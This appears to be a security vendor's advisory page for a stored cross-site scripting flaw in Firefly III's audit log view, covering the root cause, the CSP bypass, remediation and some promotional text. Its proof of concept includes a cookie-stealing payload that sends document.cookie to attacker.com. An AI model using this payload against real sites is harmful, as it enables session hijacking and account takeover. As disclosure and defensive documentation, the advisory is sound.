GHSA-6JQ6-X4CX-QVCM

GHSA-6JQ6-X4CX-QVCM is a medium-severity cross-site scripting (XSS) vulnerability in grumpydictator/firefly-iii (composer), affecting versions <= 6.6.2. It is fixed in 6.6.3.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)

The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

Root Cause

The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.

Vulnerable code (resources/views/list/ale.twig lines 107, 110):

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy
})|raw }}

No HTML sanitization at storage time, PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.

Data Flow

POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
  → Stored verbatim in piggy_banks.name
  → Transaction rule fires add_to_piggy / remove_from_piggy
  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
  → Any user views /transactions/show/{id}
  → ale.twig outputs unescaped payload → XSS fires

CSP Note

The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.

PoC

  1. Authenticate as any user
  2. POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
  3. Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
  4. Trigger the rule on any transaction
  5. Visit /transactions/show/{id} → payload fires

Confirmed server response (v6.6.2):

Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"

Impact

  • Stored XSS persists in DB, fires for every user who views the transaction
  • Cookie theft → session hijacking
  • In multi-user setups: one user attacks another user or admin
  • Chainable with CSRF-like operations

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

Affected versions

grumpydictator/firefly-iii (<= 6.6.2)

Security releases

grumpydictator/firefly-iii → 6.6.3 (composer)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy|e
})|raw }}

Frequently Asked Questions

  1. What is GHSA-6JQ6-X4CX-QVCM? GHSA-6JQ6-X4CX-QVCM is a medium-severity cross-site scripting (XSS) vulnerability in grumpydictator/firefly-iii (composer), affecting versions <= 6.6.2. It is fixed in 6.6.3. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
  2. Which versions of grumpydictator/firefly-iii are affected by GHSA-6JQ6-X4CX-QVCM? grumpydictator/firefly-iii (composer) versions <= 6.6.2 is affected.
  3. Is there a fix for GHSA-6JQ6-X4CX-QVCM? Yes. GHSA-6JQ6-X4CX-QVCM is fixed in 6.6.3. Upgrade to this version or later.
  4. Is GHSA-6JQ6-X4CX-QVCM exploitable, and should I be worried? Whether GHSA-6JQ6-X4CX-QVCM is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether GHSA-6JQ6-X4CX-QVCM is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix GHSA-6JQ6-X4CX-QVCM? Upgrade grumpydictator/firefly-iii to 6.6.3 or later.

Other vulnerabilities in grumpydictator/firefly-iii

Stop the waste.
Protect your environment with Kodem.